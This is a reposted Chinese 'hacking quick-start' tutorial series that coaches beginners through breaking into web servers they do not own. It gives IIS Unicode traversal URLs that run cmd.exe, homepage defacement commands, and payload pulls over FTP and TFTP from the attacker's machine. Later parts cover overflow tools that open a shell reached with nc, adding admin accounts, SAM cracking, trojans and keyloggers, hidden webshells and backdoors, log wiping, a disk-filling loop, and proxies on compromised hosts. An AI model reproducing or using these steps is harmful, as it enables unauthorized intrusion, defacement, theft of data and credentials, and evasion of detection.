黑客快速入门-阿里云开发者社区

开发者社区> 安全> 正文
登录阅读全文

黑客快速入门

简介:
我认为这是一套适合初学者由浅到深的文章,所以强烈推荐给大家,作者从基础讲到最近比较火的漏洞,可能有些人看来是浅了些,但是的确很适合想干点啥但又不知道怎么办的菜鸟们 。 

第一节,伸展运动。这节操我们要准备道具,俗话说:“工欲善其事,必先利其器”(是这样吗?哎!文化低……)说得有道理,我们要学习黑客技术,一点必要的工具必不可少。 

1,一台属于自己的可以上网的电脑。这样你可以有充分的支配权,上网不用说,否则你怎么看到我的文章?wap?呵呵!属于自己很重要,否则安全性是个很大的问题。第一点相信大家没有问题。 

2,windows2000/nt,别和我说98/me,他们是你们同学用来玩游戏的!(当然,我也是铁杆game fan)对网络支持极差,命令受限制,很多软件又不能用,对黑客来说使用起来绊手绊脚,非常不利。这里我推荐2000,这是一个很成熟的系统(漏洞还是有一堆)。推荐双系统,这样黑玩搭配,干活不累。 

3,冰河。中国第一木马,中者数不胜数,国人骄傲。虽然用冰河根本不能算黑客,但它确实能培养你对黑客的兴趣,同时帮助你了解网络,相信很多黑客同学都是这样起步的。静止写的那篇冰河教程很不错,大家仔细看看。而且,以后你学会入侵服务器后,用冰河操作也会减少工作量(我是懒虫,爽!) 

4,oicq。我们学黑客,可不是学泡mm!bfctx你………… 息怒息怒!我们当然是学黑客,但不要忘了,众人拾柴火更高,我们通过cshu的成员列表,互相联系帮助,对提高水平很有帮助!另外我要废话一句:据我了解,现在黑客网站下载最多的都是针对oicq的破解工具,我个人认为很无聊,偷个密码代表什么,浪费时间!最后补充:mm不能不泡。(谁砸我??!!) 

5,superscan。很好用的端口扫描器,速度超快,功能一流,一旦拥有,别无所求……(打住!)不论是找木马受害者,还是扫服务器端口,它都非常有效,cshu强烈推荐! 

6,一本笔记本/便条,网上资料相当多,黑客处理的也是非常之多。良好的习惯决定了你的效率,准备一本笔记本,记录下你的成果,肉鸡,木马利用,命令,密码……坚持一下,你会发现你的效率大幅上升的! 

7,lc3.著名nt/2000sam破解程序,有时我们拿不到足够权限,又没好办法,那么lc3是最好的解决办法,只要你拿的到sam,你就是服务器它爷爷!本站有其破解程序,支持了暴力破解! 

8,程序合并。这是玩木马必需的,虽然木马是很低的手段,但有时配合巧办法(以后我会介绍)确实能够达到意想不到的效果,朋友们可以在空闲时玩玩木马,很有趣,若你能巧妙的骗过mm,那么webmaster也可能被你骗倒:〉 (比较理想化) 

9,流光4for 2000/nt。可能是世界上最好的综合类黑软!中国的骄傲,它集成了很全的漏洞信息,速度快,方法多,对有漏洞的主机是毁灭性的打击,操作又方便,是快速黑站必不可少的精品工具。超级吐血推荐!! 

10,良好的心态,稳定的情绪,刻苦钻研的精神,刨根问底的作风,打扫房间的习惯。黑客是门很高深的学问,不要幻想一步登天,失败是常有的事,千万不可灰心。在那么多黑软的包围下,切不可完全依赖他们,一定要了解它们利用什么原理工作。对任何一个小问题,小细节,一定要问清楚,cshu就是给大家互相交流的场所哦!黑完后不要得意忘形,打扫战场也很重要,以防万一。 

第一节操完,可能很无聊,我就这点水平,大家见谅!这里我说一句大话:做完菜鸟操,包你会黑简单的站(哎哟!心慌了!) 

下一节操我们要介绍如何掌握一台主机的基本信息,期待中…… 

真是太对不起大家了,隔了那么久才写这篇教程,我这几天实在太忙,大家还是体谅一下我吧,好了,开始做操。 

今天的内容是获得主机的信息。 我们要黑一台主机,首先要了解它的信息,包括它的类型,用户列表,目录,端口,漏洞等等。 

首先我们我们要找一台主机来练手,随便挑吧!www.flyingfish.com(乱说的) 

第一部,呵呵,先在ie里看看吧,mmmm.....做的还行,挺精致的!主要是我们肯定了它现在是正常的。 然后,我们应该知道它的ip,很简单,ping它一下就可以了。 

ping www.flyingfish.com,看看窗口里有了什么?是不是有三行回应,其中的111.111.222.222就是ip了(还是胡说的,一个例子)。有人是不是要问,我这里怎么没有。那可能是两个原因,第一,你打错命令了;第二,该主机装了防火墙,禁止ping,不过这种可能很小。 

知道了ip,下一步应该确定端口了。下面是一些常用的端口的默认值 

21--ftp 重要哦 

23--telnet 欢呼吧 

25-smtp 尽管重要,但似乎没什么可利用的 

53--domain 同上 

79--finger 可知道用户信息了 

80--http 要看网页,没它不行吧 

110--pop 收信的 

139--netbios 共享用的,很有利用价值哦 

3389--win2000超级终端 呵呵,这个好! 

其实端口有上千种,这些最最常用 

我们怎么知道服务器有什么端口打开呢??去找个扫描器吧,x-scan ,super scan,flux等等很多哦。这里我推荐super scan ,速度很快,本站也有其教程哦!用法还是比较傻瓜的,估计大家不会有问题,轻轻几点,打开的端口就出现了。不错不错,上面说到的都有(太理想化了吧!) 

那么我们该如何应对呢? 

ps:忘了说一声,顺便扫一下7626,冰河有也说不准哦:) 

若有ftp,那就用用匿名登陆。自己动手也行,最好用x-scan flux等吧!反正,有ftp就有一份希望 

telnet在!好!telnet 111.111.222.222,出现窗口了吧!嗯?要密码?看来网管还不是超级白痴:)随便猜个,错了,闪人! 

smtp,看着它,无奈 

domain,一般它带了局域网了 

finger 可以知道用户列表了,不好,忘了用法了,幸好finger很少出现 

80肯定在,我们等会来对付它 

110 有smtp,pop在也不奇怪了 

139 找个扫描器来找找有没有露在外面的共享吧,日后也用得着 

3389 太太太好了!!打开客户端吧,用输入法漏洞试试,成了就干了它!不成也没事,我们以后完全控制它3389会很方便的。 

端口扫完了!我们在多了解它一点吧!追捕大家都知道吧,其实用它获取主机信息也不赖哦。打开追捕,输入ip,选择智能追捕,是不是有很多信息出来了?虽然不能直接利用,但毕竟我们有对它有了进一步的了解。 

掌握了那么多信息,我们该做点什么了,一般黑客入侵都是靠着系统漏洞,不会都傻傻地去暴力破解的。我们现在就要看看它有什么漏洞。 

对漏洞大家可能不太了解,我这里也不能一一说明了,太多了,感兴趣的话去论坛找freedom吧! 

目前广泛利用和存在的漏洞有:unicode,unicode后续,iis溢出,.idq,.fr extend,输入法漏洞等等大漏洞。 至于如何确定,呵呵,绝对不会是一行一行地在ie中试吧,拿出x-scan吧,很好的扫描器哦! 

稍微设置一下就上路吧!过了一会,呵呵,报告出来了,快看,哇!漏洞一大堆!这下赚了!各条漏洞都有详细的信息,大家看吧,总比我说的准了。 

现在这台主机已经和我们成为亲戚了,要让这位亲爱的亲戚做点事,就要开始各种攻击了,下回我们就探讨一下最最可爱的unicode漏洞,各位可能就会在unicode中完成第一次黑客体验,再见:) 

------------------------------------------ 
今天我们谈谈unicode漏洞,这可是基础中的基础,重点里的重点,不懂的一定要好好学。 

2000年10月17日中联绿盟发布了以下的安全公告: 

微软iis 4.0 / 5.0 扩展unicode目录遍历漏洞 

远程漏洞:是 

本地漏洞:是 

发布日期:2000年10月17日 

更新日期:2000年10月17日 

受影响的版本: 

microsoft iis 5.0 + microsoft windows nt 2000 microsoft iis 4.0 + microsoft windows nt 4.0 + microsoft backoffice 4.5 - microsoft windows nt 4.0 + microsoft backoffice 4.0 - microsoft windows nt 4.0 

这可是中国乃至全球网络安全界的一次大变节,入侵nt/2000系统变得如此简单,不打补丁的死路一条。 



下面开始正式学习: 

一,unicode漏洞的原理 

此漏洞从中文iis4.0+sp6开始,还影响中文win2000+iis5.0、中文win2000+iis5.0+sp1, 台湾繁体中文也同样存在这样的漏洞。 

中文版的win2000中,unicode编码 存在bug,在unicode 编码中 

%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/' 

%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '' 

在nt4中/编码为%c1%9c 

在英文版里: win2000英文版%c0%af 

在中文win2k里:%c1%1c 

此外还有多种编码,不一一阐述。 

本文例子均以win2k为准,其他类型请自行替换。 

二,一切从基础开始 

由于winntsystem32cmd.exe的存在,使远程执行命令变为可能,在浏览器里输入以下请求:(假设11.11.22.22有漏洞) 

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 

学过dos的应该可以看懂,其实就是利用当中的非法请求使我们可以连到system32下,如果inetpub目录不合winnt同盘,或者目录级数有改动,可能会引起请求失败。 

如果成功,那么在浏览区可看到如下信息: 

directory of c:inetpubscripts 

2000-09-28 15:49 〈dir〉 . 

2000-09-28 15:49 〈dir〉 .. (假设目录中没有文件,实际上有一大堆) 

是不是有自己机器的感觉了,正点!就是这种感觉! 

cmd.exe相当与dos里的command.com,因此,我们可以执行很多命令了! 

http://11.11.22.22/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir (这个命令同样道理) 

大家请注意:/c后面的+,实际上,他就是空格,请记牢!dir开始就是dos命令了,我们可以更改一下: 

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:autoexec.bat+c:winntauto.exe 

会dos的朋友一定懂其意义了,不懂的请去看书 . 

不用说,大家也知道我们就可以利用它来对有漏洞的机器展开攻击了! 

三,实战演练 

1,修改主页!(是不是很爽?) 

一般主页位置在c:inetpubwwwroot下,但要是改了路径,就需要找找了。 

最方便的方法:在浏览器里输入 http://11.11.22.22/.ida要是有漏洞,那在浏览器里便会显示主页路径,这个漏洞存在率很高,自然是我们的首选。 

分析法:用dir看各个盘符的根目录,看可疑的就进去看,运气好的在一分钟里找到,这要看运气和直觉。 

dir/s法:首先在看其主页,找个图片或连接,看它的文件名,比如,11.11.22.22首页上有一幅图片,右击,属性,看到了吗?iloveu.gif,然后我们利用unicode输入这条命令dir c:iloveu.gif /s意味着查找c盘下所有目录里的iloveu.gif,注意实际应用时别忘了把空格改为+,如果没有继续找d盘,很快就能确定主页目录的。 

找到了目录,就要对它开刀了!一般默认收页为index.htm,index.html,index.asp,default.htm,defautl.html,default.asp中的一个,现在我们确定11.11.22.22中为index.htm 

那么我们就修改它吧! 

最方便的方法:echo法。echo是一个系统命令,主要用于设置回应开关,而echo cshu >c:autoexe.bat就是把cshu加入autoexec.bat里并删除原有内容,echo cshunice >>c:autoexec.bat就是加入cshunice但不删除原有内容,这样我们就可以逍遥的改了。 

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm 

回应为:http 500 - 内部服务器错误 

通过对cmd的分析,袁哥得出一条简便的方法,加入"符号 

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm 

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+2001730+>>c:inetpubwwwrootindex.htm 

回应为:cgi错误,不用理会 

两条命令一下,呵呵,再看看11.11.22.22,是不是烙上我们的大名了?不错吧 

而在实际操作中,可能袁哥的方法也会失效,这时,我们就可以copy cmd.exe 为另一个exe,记住路径,用copy后的来echo 

例如:11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:a.exe 

11.11.22.22/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm 

2,上传法:echo有点不讲道理,把人家的文件破坏了,要是想在主页上增光添彩,那就应该用改好的主页上传,这个我们后面介绍。 

几点忠告: 

1,对于没有主页的机器(就是正在建立的主页),不要改它,这很没水准,也很没道德 

2,echo前记得帮他们做好备份 

3,不准在主页里加入恶性语句 

2,下载文件 

要是有什么有用的文件被你发现,那我们如何下载呢? 

最简单的方法:把文件copy至网页目录下。copy c:emailbaby.eml c:inetpubwwwrootbaby.zip,然后,下载11.11.22.22/baby.zip就行了,注意!实际应用中要记得对文件名进行修改,总之不能暴露。 

别的方法:对不起,没想好:) 

3,最重要的上传 

一般方法:ftp法 

首先建一个ftp脚本文件:c:hehe.haha(名字乱取把),申请一个ftp账号,然后用echo吧 

echo+open ftp.cshu.com(ftp主机) > c:hehe.haha 

echo+user yourname >> cc:hehe.haha (yourname是用户名) 

echo+yourpasswd >> c:hehe.haha (yourpasswd是密码) 

echo+get setup.exe >> c:hehe.haha 要下载的文件 

echo+quit >> c:hehe.haha 

完了以后:ftp+/s:c:hehe.haha,由于是ftp主机,那么速度一定很快,过一会setup.exe就会出现在当前目录了(也就是cmd所在目录) 

别忘了先上传到ftp主机,不要做马大哈哦! 

最简单的方法:tftp法。 

这种方法不用中转服务器,首先准备一个tftp服务端,它的作用就是把你的机器做成一个tftp服务器,利用漏洞机器来下载(注意,运行tftp时不要运行其他的ftp软件) 

在这里我推荐cisco tftp server,自己去找找把,实在没有来找我:) 

安装好后运行,别忘了设置好默认目录,否则会找不到文件 

tftp命令:tftp -i 1.2.3.4 get ihateu.exe c:winntihateu.exe(ihateu.exe在默认目录里) 

1.2.3.4为你的ip,用unicode运行一下,会看到tftp server里有反应了,这就好了,不一会,文件就传上去了,方便把! 

学会了上传,我们就可以好好改主页,还可以上传木马,还可以把程序放上去运行…………(运行程序和在dos里一样) 

4,如何清除痕迹 

虽然国内主机纪录ip的不是很多,但万事小心为妙,unicode权限达不到admin。用cleaniislog行不通,就…………直接删吧! 

c:winntsystem32logfiles*.* 

c:winntssytem32config*.evt 

c:winntsystem32dtclog*.* 

c:winntsystem32*.log 

c:winntsystem32*.txt 

c:winnt*.txt 

c:winnt*.log 

全……擦掉! 

四,细节问题。 

1,遇到长文件名怎么办? 

c:program files 

就用c:"program20%files" 

2,遇到空格怎么办? 

20%代替喽,或者xx yy=xxyy~1 

3,如何做个很大的文件? 

目的就是破坏啦!我不喜欢不过教教你们啦 

@echo off 

echo big > c:a.a 

:h 

copy c:a.a+c:a.a c:a.a 

goto h 

注意不要乱来啊! 

4,输入命令,没反应或反应不对。 

:)请检查检查再检查命令的正确性,可能没有漏洞,那就闪人!看在你看到这里那么给我面子的份上,在给你几个吧! 

http://www.exsample.com/scripts/..à¯..à¯..à¯..à 
¯../winnt/system32/cmd.exe?/c+dir+c : 或http://www.exsample.com/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 或http://www.exsample.com/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 或http://www.exsample.com/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: ; 

不一定有用哦! 

5,如何找到unicode漏洞的主机 

呵呵:)最好的方法自然是………………一个一个ping,一个一个试喽:) 

不要打我呀!我说我说。最好找一个cgi扫描器,unicode查找器多如牛毛,随便找个吧! 

6,我copy,del文件,怎么显示aceess denined? 

这个不好办了,由于unicode所拥有的权限有限,出现上述情况很正常,我们要做的便是提高自己的权限! 

这个我会在今后介绍,现在你可以试试attrib 

attrib -r -h -s c:autoexec.bat 

再对autoexec.bat进行操作,看看有没有效果,成功率不高,不好意思! 

7,我黑了主页,天下无敌? 

我本来想对你说:“见你的鬼去吧!”不过想想不大礼貌,有失我绅士风度,所以改个口 

echo主页或改主页在不懂黑客的人看起来很了不起,不过,它最多算是一个基础,拿到admin才是我们的终极目标! 

对cshu全体成员来说,不准去改正在建立的网页!这是我们的原则! 

要是你想耍耍威风,那也可以理解,那就去黑外国的,或者url欺骗也是个好选择 

8,我如何做更多的事? 

第一,努力提高权限 

第二,由于cmd的限制,我们可以做的不多,那就要程序帮忙,上传吧!切记,要隐秘! 

一,fr 

为什么把它放第一位呢?原因很简单,它最最方便,fr 

具体做法: 

1,准备fr 

2,找一台有fr 

3,接下来打开frontpage,(妈妈:你在干什么?回答:做网页!妈妈:好孩子!^_^)文件菜单下选择“打开站点”,然后在文件夹框里写入http://11.11.22.22(我习惯用这个做例子,以fp2000为准)注意http://不要漏掉。在按下“打开”按钮前,不要忘了祈祷:)一两秒后,出现了文件夹,好啊!成功了,现在就可以操作网页文件了。 

4,万一跳出错误信息,表示有密码(这个不算白痴)这时我们试着用以下url,http://11.11.22.22/_vti_pvt/service.pwd,这是默认的密码文件,下载下来,应该是unix的加密,找个解密器破密码吧!运气好的话还可以改网页。 

我的看法: 

这个漏洞只能说明网管的疏忽,对我们而言是没有什么利用价值的,只可以改改网页,也许这也够了,但要进一步控制主机,此漏洞就无能为力。消遣时可以玩玩。 

二,iis.printer溢出攻击 

据说缓冲区溢出攻击是黑客入侵时70%所选的方法,看起来有点夸张,但确实有道理,因为暴力密码破解在网络上变得非常之慢,而像unicode的解码漏洞所取得的权限又太低,而缓冲区溢出一般可取得system权限,是非常有用的! 

具体原理我也不是很清楚,只能说个大概:当我们向系统发出超出缓冲区大小的数据处理请求时,便会引发溢出,并弹出错误对话框,我们常看到的“非法操作”其实也是可能是由于溢出。而当溢出时,eip发生错误,有汇编知识的朋友应该记得,eip是控制执行代码的位置(顺便问一下,有没有会crack的高人,记得做我老师)这时加入一段恶性代码,算好发生溢出时的eip值,这样溢出时就会执行恶性代码而不是当掉。非法操作我们知道多的不得了,因此……溢出攻击是非常强大的! 

由于汇编对于我们来说较难掌握,加之对溢出的了解很有限,那么我们只能借助高手们的程序来黑了。 

具体方法: 

1,准备iishack,本站有下载,该版本可以对多种系统进行攻击。 

2,用x-scan或流光扫描一个有iis.printer漏洞的主机,然后就可以攻击了。 

3,在命令行方式执行iis5hack (主机ip) (端口号,默认80)(系统代号,具体可参考程序的说明) ( shell口) 

例如:iis5hack 11.11.22.22 80 1 111(以为在111端口开一个shell) 

4,用nc或telnet连上,nc/telnet 11.11.22.22 111,成功的话就可以控制机器了,加个用户,做个代理…… 

我的看法: 

这算是一个比较有用的漏洞了,它能帮助我们取得system权限,其实和admin差不了多少了,对于做一台跳板是非常有利的,希望大家熟练掌握。 

三,idq/ida漏洞溢出攻击 

这是时下很热门的了,原理和上面的printer相似,目前我只找到了iis5的攻击程序,在cshu里也可以找到的,我们准备的是snake的gui版本,很方便的。 

具体方法: 

1,准备snakeiis溢出程序。可以从本站下载。 

2,ida/idq漏洞很多的,但win2k的服务器就不是那么普遍了,所以用你熟练的扫描器去找一打win2k的机器吧。 

3,程序的界面是很傻瓜的,把ip填入,选择好类型,按下溢出按钮,显示shellcode发送完毕。 

4,telnet/nc到你设定好的端口,如果成功的话,会显示目录下的信息(因为默认shellcode是dir) 

5,欢呼吧!再次溢出,别忘了改shellcode为你想要的代码哦。 

6,重复4,很快一台新鲜的win2k被你控制了! 

我的看法: 

我很喜欢用这种攻击,因为win2k的3389可以很方便的为我做事,省力地搞到一台win2k,然后慢慢享用,爽到根尖细胞啊!大家应该掌握这项方法。 

四,*bsd telnetd溢出攻击 

又是溢出,不过这个可是真正的热点哦,最近红盟等大型安全网站被黑就是因为这个!所以看看吧 

具体方法: 

1,使用fbsdhack for win2k来攻击,本站有下载的 

2,还是要找到这样的主机,一般是xnix的,比较少的,用专门的扫描器吧,我会在不久放出来。 

3,等吧!这个漏洞要发送的信息很大,大约16mb,可怕吧,所以最好用高速肉鸡 

4,有幸成功了,记得请我吃饭! 

我的看法: 

这个漏洞的利用比较有难度,从找机器开始就是。但作为黑客爱好者,我们没有理由去回避它! 

五,密码暴力破解 

这是最最原始,也是最最基本的攻击的方式了,利用字典文件或暴力模式,对密码进行探测。费时费力,但若有经验的话,可以缩短这一过程。 

具体方法: 

1,找一个破解器,有ftp,http,smtp,pop3,telnet等等类型。 

2,找到一台相应的主机。 

3,设定一番,上路吧!你可以睡觉,可以去machine(就是做作业),可以去泡妞……就是不要傻等。为什么呢?因为会伤视力的:)怎么倒了一片,起来起来! 

4,万一成功了(之所以用这个词,是因为成功率很低的)表明你运气旺,赶紧下线,买彩票去吧^_^ 


大家好,这几天被cgi程序搞得头昏脑胀,主要还是51的错,什么破东西,那么多错误!现在只好暂时借人家的地方用。 

这是菜鸟操的最后第二节,说实话我还可以写很多的,但是作业还欠了一大堆:(为什么我没有满舟的狗屎运?算了算了,我不合那种欺世盗名之辈一般见识,开始做操吧! 

不知道大家对unicode和溢出攻击是不是熟练了?没有的要加油哦!今天我们来谈谈权限的提升。 

在windows系统中,最高的权限掌握在administrators的手里,在xnix中称为root,我们要完全掌握一台机器,拿到admin是不可或缺的。 

首先说说最简单的:system to admin 

当我们用溢出攻击成功后,其实我们已经拿到了system权限(具体看每种攻击而可能有所不同)这时我们很容易拿到admin权限。首先看看一下命令: 

net user 察看用户表 net user username pass /add(添加密码为pass的用户username) 

net localgroup 察看组 net localgroup guests cshu /add 把cshu用户加入guests组 

net use ipipc$ "password" /user:username 这是远程连接的命令 

假如我们溢出了11.11.22.22,那么这样做吧! 

net user (看到了iusr_machinename的用户了,它一般没什么权限的) 

net user iusr_machinename cshu (把它的密码设为cshu) 

net localgroup administrators iusr_machinename /add(加入administrators组) 

这样我们就拥有了iusr_machinename这一账号,admin权限,简单吧! 

熟悉一下net use 命令: 

net use 11.11.22.22ipc$ "cshu" /user:iusr_machinename 建立连接 

copy c:haha.exe 11.11.22.22admin$ 把haha.exe 复制到机器c:winntsystem32上,若是c$.d$,就表示c,d盘 

net time 11.11.22.22 看到了时间了,比如是8点 

at 11.11.22.22 8:03 haha.exe 就会在8点3分执行。 

net use 11.11.22.22 /delete 断开连接 

应该是很简单的。这样我们就可以随心所欲地操作11.11.22.22了,admin是最高权限,所以没有限制的:) 

是不是很简单?所以我是溢出是很厉害的攻击方法。 

3389知道吧!如果能进入,那么用上面的命令也可以轻易拿到admin的,不过呢,有3389漏洞的机器已经不多了。看你运气了!(本站有几篇关于3389的好文章) 

总的来说,还是unicode的机器最多,为什么白痴网管不会灭绝呢:)虽然unicode拿admin有一定难度,但还是要试试的。 

首先,我们检查一下unicode在这台机器上的权限,一般看读写权限和运行权限。用copy 或del命令便可确定读写权限,然后上传文件运行一下便可知道运行权限。 

1,如果我们可以对winntrepair和winntconfig进行访问,sam文件就在里面(win2k里是sam,nt4里是sam._)那么用tftp 把get改成put下载下来,或者把它复制到inetpubwwwroot下,改成zip下载。 

拿到sam后,用lc3破解版暴力破解吧,这种方法比较费时。 

2,要是有运行权限,拿就抛个木马上去吧!虽说木马可能也会没有权限,但自启动的模式在admin登陆后可能会自己提升了权限。要注意的是,最好放最新的木马,因为木马很容易被杀毒软件查杀! 

3,其实和2差不多,只不过变成了键盘记录器,选个国产的,一般杀毒软件不会杀出来,认真配置好后传上去,下线睡觉或是做家务去!等到网管用了机器,密码就会被纪录下来,我们在去取,admin就顺利到手了:) 

4,getadmin和pipeupadmin,前者是nt4用的,后者是2000。看看帮助知道使用方法后(其实猜都猜得到)就可以提升一个用户的权限,有一步登天的感觉! 

5,手工做个bat文件,里面是建立用户等命令,然后把它放到自启动下,有很多途径:documents and settings下的开始菜单下的启动,知道了吧,至于要顺利放进去的话,会遇到空格长名等等问题,就看你的基本功了。win.ini里有load,加进去。还有便是注册表,好好研究一下regedit. 

6,本地溢出。这个比较高深,我能告诉大家的只是,去四处找找本地溢出程序。 

总的来说,unicode改主页是非常简单的,但是若是要取得更高的权限,就要一番努力,上面的方法只是些思路,实际操作时需要具体处理,开动脑筋,把方法都结合起来。(是不是听起来有点玄?) 

想想好像没有什么其他的途径要说了,什么?linux,呵呵,我还不大懂,就不在这里瞎说了。 

那今天就说到这里了,6里面我会说说后门制作,小问题和我的一点经验。期待吧! 



这是最后一节了,写的傻傻的,但我毕竟坚持下来了,值得鼓励!(偶尔阿q一下)在写菜鸟操的同时,我们的cshu(cshu.51.net)也在默默成长,但现在我要准备离开了,真是有点舍不得。在今后的日子里,还请大家多多支持cshu和christ,freedom他们。 

今天说点什么呢?没有主题,乱谈一通吧! 

首先我要吐一次血,当然是为了推荐一样东西,就是流光!(那么没创意,老土!)不管怎么说,小榕的流光应该是中国第一黑软,他综合了诸多的攻击手段,使攻击便捷化,当然可能让我们养成了懒惰的习惯。不会用流光的最好去学学。 

我来说说我自己觉得最有用的几个项目: 

1,探测----扫描pop3/ftp/nt/sql主机,要是无目的地黑,那么用这个再合适不过了。进去后填好ip范围(范围可以扫大一点,它很快的),至于类型嘛,要是你要一大堆unicode,那么选择iis/fr 

remote execute-x 这是几种不同的unicode,用它比用ie来执行方便多了,但是echo有问题(是我自己不会,会的朋友快教我) 

remote ftp pcaw file method-x 这是远程获取pc anywhere的密码文件,要使用的话,你首先要有一个ftp账号,去申请吧!顺利拿到cif文件后,用流光自带的工具就可以解开密码,很爽的! 

remote ftp sam -x 拿sam的,还是用最好的lc3来解吧! 

fr extended 这是fr hole的话,放声大笑吧!(小心不要让邻居拿着菜刀冲进来)打开fr 

此外还有一点变通,大家肯定读的懂的。 

2,探测----高级扫描工具。这可是流光4中的重头戏,综合了很多漏洞,还可以用plugin功能加入新的漏洞。这项功能很适合对某一站点进行探测,很快扫出漏洞后,流光会生成一个报告文件,其中包含漏洞的连接,要是你看不懂的话,建议你拿出x-scan,里面有漏洞描述的。 

3,工具----nt管道远程命令,种植者,这两项功能对我们攻击nt来说是相当好用的。但前提是要有账号,相信在此之前你应该有几个了吧,那就快点试试吧! 

总的来说,流光的使用是非常简单的,其中也有不少工具值得我们一用,tools目录里有一些很好的工具,exploit里则有很多溢出攻击程序,前提是你应该会c,不会的话我也没办法,学会c起码要看10倍于菜鸟操的资料吧!另外给大家推荐一个站点:www.hack.co.za,有什么漏洞的话就去那里找找,你会有所收获的。 


然后我想说说一些黑站的经验。 

当我们用unicode控制一台机器时,我向大家推荐用asp木马,阿新的改良版,本站有下载的。上传asp文件前不要忘了修改list.asp中的地址信息,最好也放一个cmd.asp上去,运气好的话,可以运行命令的。 

上传好后,ie里输入其中index.asp的地址,呵呵,我们就能方便地管理其中的文件了,可以改网页,改代码,上传脚本文件麻烦?那就用它来生成吧! 

推荐他的最大原因便是----便于隐藏!一般网站总有一个庞大的目录,选择一个深的,放进去,网管很难发现的:) 

最后对大家说一句,要是有备份目录(很多网站都有的),最好也放一份进去。有一次我用这个东西修改一家网站的首页,改了两三次网管也没删掉,可是突然一天不行了,原来他用了备份的网页(还算机灵吧) 

我想对大家说,对于国内网站,最好不要恶意去攻击,因为我们是中国人嘛!在5/1期间,我发现有一些国内站点被黑,留下的页面上不是poison box,而是中国人的话,这真是无耻到了极点!!!!大家千万不要学哦。还有,现在网上有很多还没有网页的主机,往往有很多漏洞,对于这种机器,竟有一些小人也会去改收页(比如上海那个姓杨的小子)这算什么?显示实力,炫耀技术?呵呵,见鬼去吧! 

我的建议是,不要改它的首页,而是努力去拿admin,控制它,这样我们有很多选择:肉鸡,等它有正式主页后可以黑,或者把我们的主页放上去!比申请好多了,权限又足!当然很危险:)这样做是不是有品位多了? 

要是我们拿到了admin,但有时却不能执行一些命令,那很可能是因为服务启动的问题。试着用以下命令: 

net start termservice 启动win2k的终端控制 

net start workstation 打开net use 功能 

net start lanmanserver 打开ipc 

net start eventlog 启动日志(你不会那么傻吧!stop) 

net start schedule 打开计划(at) 

net start server 共享 

还有很多,net命令里去找吧! 

打开telnet 

1,远程去运行ntlm.exe,流光里有 

2,net stop telnet 

3, net start telnet 

我推荐几种后门:winshell(默认端口5277)相对于srv,它好一些。remotenc这个是榕哥的作品,可以以指定用户执行,还可以自己起服务的名字,很棒的! 

至于服务的名字,建议大家去看看win2k的进程名,学着起相类似的名字,要做到使网管看到了也不会引起警觉,或是有警觉也不敢去删,呵呵,这样就最好了! 

代理问题。我推荐大家自己去做代理,控制了一台机器后,用snake前辈写的skserver去做个sock5。 

具体做法就不详细说了,因为比较普通,只要熟悉一下用法就可以了。 

做好了sock5,我们可以上oicq,下棋都用它,sock5代理可是很少见的哦! 

要是实在拿不到sock5,用http也可以,这里推荐一个软件tcp2http,它具有很多功能。在给个站点:dzc.126.com国内最最好的的代理站点,怕死的朋友千万不要错过。 


最后说说一些对于菜鸟同志的建议: 

不要把黑当作一种显示自己的行为,要是你想耍威风,用url欺骗来骗mm最合适了,还可以弄个yahoo什么的…… 

不要在一项技术上停留过长时间,当你熟练掌握后,应该迅速学习下一个新技术。 

不要和被你黑的网管过多接触,前车之鉴哦。 

对于一台好机器要做好后门,不要轻易失去它。 

想好好学黑客的话,就常去各大论坛转转,仔细读教程,忘记聊天室和网络游戏吧! 

实践是最好的教程,再次重申! 

应该多学计算机的其他方面的知识,任何知识在一定场合都是有用的。 

编程技术……好像太难了,不过再难也要学。















本文转自群亮51CTO博客,原文链接: http://blog.51cto.com/tql/5392,如需转载请自行联系原作者



版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享: